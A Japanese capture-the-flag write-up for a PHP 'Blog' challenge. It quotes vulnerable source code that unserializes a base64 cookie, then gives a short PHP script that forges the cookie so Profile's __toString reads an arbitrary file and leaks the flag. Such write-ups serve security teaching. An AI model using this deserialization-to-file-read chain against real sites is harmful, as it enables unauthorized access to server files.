[web] Blog
フラグは/02d92f5f-a58c-42b1-98c7-746bbda7abe9/flag.txtにあり、LFIをするのが最終目標。
まず、目を引くのがindex.phpの以下の部分。
$user = unserialize(base64_decode($_COOKIE["user"]));
明らかにバッドプラクティスであり、Unsafe Deserializationを利用することで任意のUserクラスのインスタンスを生成可能である。
どのようなインスタンスを作ればLFIできるだろうかというのを考えると、util.phpのProfileクラスに
$picture = base64_encode(file_get_contents($this->picture_path));
というのがある。
Userクラスのget_profileメソッドを使えば呼び出すことができ、$this->picture_pathはUnsafe Deserializationで差し込みが可能。
ソースコードベースで関係ある部分を残すと以下のような感じ。
...
class User {
public $profile;
public $posts = array();
...
// get user profile
public function get_profile() {
// some dev apparently mixed up user and profile...
// so this check prevents any more errors
if ($this->profile instanceof User) {
return "@i_use_vscode please fix your code";
} else {
// quite unnecessary to assign to a variable imho
$profile_string = "
<div>{$this->profile}</div>
";
return $profile_string;
}
}
...
}
class Profile {
public $username;
public $picture_path = "images/real_programmers.png";
...
public function __toString() {
if (gettype($this->picture_path) !== "string") {
return "";
}
$picture = base64_encode(file_get_contents($this->picture_path));
// check if user exists
$conn = new Conn;
$conn->queries = array(new Query(
"select id from users where username = :username",
array(":username" => $this->username)
));
$result = $conn();
if ($result[0] === false || $result[0]->fetchArray() === false) {
return "<script>window.location = '/login.php'</script>";
} else {
return "
<div class='card'>
<img class='card-img-top profile-pic' src='data:image/png;base64,{$picture}'>
<div class='card-body'>
<h3 class='card-title'>{$this->username}</h3>
</div>
</div>
";
}
}
}
よって、Cookieに$user->profile->picture_path = '/02d92f5f-a58c-42b1-98c7-746bbda7abe9/flag.txt';となるようなpayloadを流し込んでやれば、base64で指定のファイルが出力されてくる。
適当にユーザーを作ってCookieを発行してもらい、以下のように改変してCookieを差し替えると、base64エンコードされたフラグが出てくる。
<?php class User { // Userクラスの全体 } class Profile { // Profileクラスの全体 } $x = '[適当に作ったユーザーのCookie]'; $user = unserialize(base64_decode($x)); $user->profile->picture_path = '/02d92f5f-a58c-42b1-98c7-746bbda7abe9/flag.txt'; echo base64_encode(serialize($user));